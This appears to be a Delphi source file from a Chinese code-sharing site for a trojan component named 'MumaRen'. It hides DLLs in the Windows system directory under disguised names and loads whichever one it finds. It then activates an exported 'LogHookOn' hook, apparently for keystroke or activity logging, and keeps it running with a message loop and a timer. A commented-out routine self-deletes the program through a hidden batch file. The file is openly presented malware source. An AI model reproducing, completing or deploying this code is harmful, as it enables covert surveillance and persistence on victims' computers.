📄 dll.~pas
字号:
unit DLL;
interface
uses Windows,Messages,shellapi;
function GetDirectory(dInt: Integer): string;
//procedure DeleteMe();
procedure ResDLL;
procedure TimerOn;
procedure TimerOff;
var
LogHookOn:function ():integer; stdcall;
loadon: THandle;
DLLA:string;
DLLB:string;
DLLC:string;
DLLD:string;
hTimer: LongWord=0; // 定时器句柄
const
sFileMap = 'wFileMap_MumaRen'; // 内存映射文件
ExeMutex = 'ExeMutex_MumaRen'; // 防止同时进行插入
DllMutex = 'DllMutex_MumaRen'; // 保证只插一个线程
implementation
function GetDirectory(dInt: Integer): string;
var
s: array[0..255] of Char;
begin
case dInt of
0: GetWindowsDirectory(@s, 256); //Windows安装文件夾所存在的路径
1: GetSystemDirectory(@s, 256); //系统文件夾所存在的路径
2: GetTempPath(256,@s); //Temp文件夾所存在的路径
end;
if dInt=2 then
result :=string(s)
else
result := string(s) + '\';
end;
procedure ResDLL;
var
MsgStruct: TMsg;
FileHandle: DWORD;
PCurThreadID: PDWORD;
i:integer;
MutexHandle: DWORD;
begin
DLLA:= GetDirectory(1)+'Drvce.dll';
DLLB := GetDirectory(1)+'dllcache\Dllse.dll';
DLLC := GetDirectory(1)+'IMENS.dll';
DLLD := GetDirectory(1)+'Setup\Max.dll';
if (FindWindow('Edit', 'MumaRen') <> 0) then Exit;
if (OpenMutex(MUTEX_ALL_ACCESS, FALSE, ExeMutex) <> 0) or
(OpenMutex(MUTEX_ALL_ACCESS, FALSE, DllMutex) <> 0) then Exit;
MutexHandle := CreateMutex(nil, FALSE, ExeMutex);
FileHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(DWORD), sFileMap);
PCurThreadID := MapViewOfFile(FileHandle, FILE_MAP_WRITE, 0, 0, 0);
PCurThreadID^ := GetCurrentThreadID();
UnmapViewOfFile(PCurThreadID);
LoadLibrary('kernel32.dll');
LoadLibrary('user32.dll');
//查找DLL
loadon:=LoadLibrary(PChar(DLLA));
if loadon <= 0 then
begin
loadon:=LoadLibrary(PChar(DLLB));
if loadon <= 0 then
begin
loadon:=LoadLibrary(PChar(DLLC));
if loadon <= 0 then
begin
loadon:=LoadLibrary(PChar(DLLD));
if loadon <= 0 then
begin
CloseHandle(FileHandle);
PostMessage(HWND_BROADCAST, WM_WININICHANGE, 0, 0);
halt;
end;
end;
end;
end;
@LogHookOn:=GetProcAddress(loadon,'LogHookOn');
LogHookOn;
while GetMessage(MsgStruct, 0, 0, 0) do ; // 等待WM_QUIT
CloseHandle(FileHandle);
PostMessage(HWND_BROADCAST, WM_WININICHANGE, 0, 0);
//DeleteMe;
end;
// 提取路径
{function ExtractFilePath(const FullName: string): string;
var
P: Integer;
begin
P := Length(FullName);
while (P > 0) and (FullName[P] <> '\') and (FullName[P] <> ':') do Dec(P);
Result := Copy(FullName, 1, P);
end;
procedure DeleteMe();
var
BatchFile: TextFile;
BatchFileName: string;
Buf:string;
begin
SetLength(Buf, 255); //千万不要忘了先给你的字符串申请足够的空间,不然……嘿嘿,等着弹框儿吧^_^
GetModuleFileName(0, PChar(Buf), 255);
BatchFileName := ExtractFilePath(Paramstr(0)) + '_xr.bat';
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);
Writeln(BatchFile, ':try');
Writeln(BatchFile, 'del'+#32+'"',Paramstr(0),'"''/q/a/f' );
Writeln(BatchFile, 'if exist'+#32+'"',Paramstr(0),'"'+#32+'goto try');
Writeln(BatchFile, 'del'+#32+'%0');
CloseFile(BatchFile);
ShellExecute(0, 'open', PChar(BatchFileName), nil, nil, SW_HIDE);
end; }
procedure TimerProc(hWnd: HWND; uMsg: UINT; idEvent: UINT; dwTime: DWORD); stdcall;
begin
TimerOff;
//////////////
ResDLL;
//SetProcessWorkingSetSize(GetCurrentProcess, $FFFFFFFF, $FFFFFFFF); //清理内存
end;
// 安装定时器
procedure TimerOn;
begin
//StopHookKeyMouse;
if (hTimer <> 0) then TimerOff;
hTimer := SetTimer(0, 0, 1000, @TimerProc);
end;
// 删除定时器
procedure TimerOff;
begin
if (hTimer <> 0) then
begin
KillTimer(0, hTimer);
hTimer := 0;
end;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -